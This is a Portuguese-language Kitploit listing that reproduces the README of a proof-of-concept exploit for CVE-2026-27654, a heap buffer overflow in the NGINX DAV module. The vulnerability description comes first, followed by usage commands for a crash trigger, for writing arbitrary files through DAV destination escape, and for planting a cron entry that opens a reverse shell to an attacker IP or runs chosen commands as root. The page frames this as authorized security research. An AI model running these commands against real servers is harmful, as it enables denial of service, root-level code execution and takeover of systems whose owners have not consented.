Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-27654 — Estouro de buffer no heap do NGINX `ngx_http_dav_module` via subfluxo de `size_t` (DoS remoto / RCE potencial) | Kitploit
Ferramentas/GitHubGitHub/johanneslks/cve-2026-27654
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoExploração de Binários
GitHubjohanneslks/cve-2026-27654

CVE-2026-27654

Estouro de buffer no heap do NGINX `ngx_http_dav_module` via subfluxo de `size_t` (DoS remoto / RCE potencial)

Ver Repositório
84há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-27654

NGINX ngx_http_dav_module Heap Buffer Overflow via size_t Underflow (Remote DoS / Potential RCE)

Descrição

ngx_http_dav_copy_move_handler() em src/http/modules/ngx_http_dav_module.c calcula o comprimento do URI de destino subtraindo o comprimento do prefixo do location do componente de caminho do URI do cabeçalho Destination. Ambos os valores são size_t (sem sinal de 64 bits). Quando o caminho de destino é mais curto que o prefixo do location, a subtração sofre um wrap-around para ~0, produzindo um comprimento enorme de memcpy que estoura uma alocação de heap de 7 bytes e causa a falha do processo worker.

Uma única requisição ou especialmente criada para um location DAV mapeado com dispara o estouro. O master do nginx reinicia o worker, mas requisições repetidas mantêm o servidor em um loop contínuo de falhas.

MOVE
COPY
alias

O ASan confirma: negative-size-param: (size=-7) em memcpy em ngx_http_core_module.c:1949, chamado a partir de ngx_http_dav_copy_move_handler.

Afetados: nginx 0.5.13 até 1.28.2 (stable) e 1.29.0 até 1.29.6 (mainline), compilado com --with-http_dav_module e usando alias no location DAV. Corrigido em 1.28.3 / 1.29.7 (commit ab4b5b8, PR #1210).

Uso

root@kitploit:~
# Docker (recommended -- builds vulnerable nginx from source):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080

# Native (builds nginx 1.28.2 from source, no Docker):
./run.sh              # non-ASan build (observes SIGSEGV crash)
./run.sh --asan       # ASan build (definitive proof)
./run.sh --both       # run both sequentially

# Against an existing vulnerable nginx instance:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put    # if trigger file already exists
python3 poc.py --target <HOST:PORT> --verbose

O modo padrão permanece o gatilho canônico de crash. Ele envia PUT seguido por um MOVE criado cujo caminho Destination é mais curto que o prefixo do location DAV:

root@kitploit:~
python3 poc.py --target <HOST:PORT> --mode crash \
  --location-prefix /uploads/ --destination-path /x --alias-len 13

Para configurações de laboratório autorizadas em que o tratamento de destino DAV permite um escape de destino relativo, a mesma ferramenta pode entregar conteúdo controlado pelo atacante para um caminho escolhido. O --location-prefix exato, o --escape-depth e o caminho de destino devem vir da sua própria configuração de serviço e reconhecimento:

root@kitploit:~
# Write literal content to a chosen path through COPY/MOVE destination handling.
python3 poc.py --target <HOST:PORT> --mode write-file \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /tmp/dav-proof.txt --payload-text proof

# Write bytes from a local file.
python3 poc.py --target <HOST:PORT> --mode write-file \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /tmp/payload.bin --payload-file ./payload.bin

# Deliver a cron entry that opens a reverse shell.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /etc/cron.d/dav-shell \
  --lhost <ATTACKER_IP> --lport 4444

# Deliver a one-shot cron command for non-interactive authorized proof.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /etc/cron.d/dav-proof \
  --cron-command 'id > /tmp/dav-root-proof.out'

write-file, cron-shell e cron-cmd são auxiliares genéricos de entrega para ambientes autorizados com uma fonte DAV gravável e um escape de caminho de destino. Eles não são necessários para comprovar o crash canônico de estouro de heap.

Requisitos

  • Alvo: nginx compilado com --with-http_dav_module, bloco de location usando alias (não root), dav_methods inclui COPY ou MOVE
  • Atacante: Python 3. requests é usado quando disponível; caso contrário, o PoC usa a biblioteca padrão do Python para alvos HTTP simples.
  • Para build nativo: gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wget

Arquivos

ArquivoDescrição
poc.pyPoC em Python -- gatilho canônico de crash e modos genéricos de destino COPY/MOVE
run.shCompila o nginx a partir do código-fonte (ASan / non-ASan) e executa o PoC
DockerfileBuild em múltiplos estágios do nginx vulnerável 1.28.2
docker-compose.ymlConfiguração Docker em um comando
nginx.confConfiguração vulnerável (alias + dav_methods COPY MOVE)
proof_output.txtSaída do ASan da verificação ao vivo

Referências

  • https://nginx.org/en/security_advisories.html
  • https://github.com/nginx/nginx/commit/ab4b5b8
  • https://github.com/nginx/nginx/pull/1210

Aviso Legal

Este projeto é distribuído sob a GNU GPLv3.

Ele é fornecido para pesquisa defensiva de segurança, educação e testes autorizados. Não use este código contra sistemas ou serviços sem permissão explícita do proprietário.

O uso não autorizado pode violar a legislação aplicável. Os autores não concedem permissão para testar sistemas de terceiros e não são responsáveis pelo uso indevido.

Consulte o arquivo LICENSE para os termos de garantia e responsabilidade.

Baixar ferramenta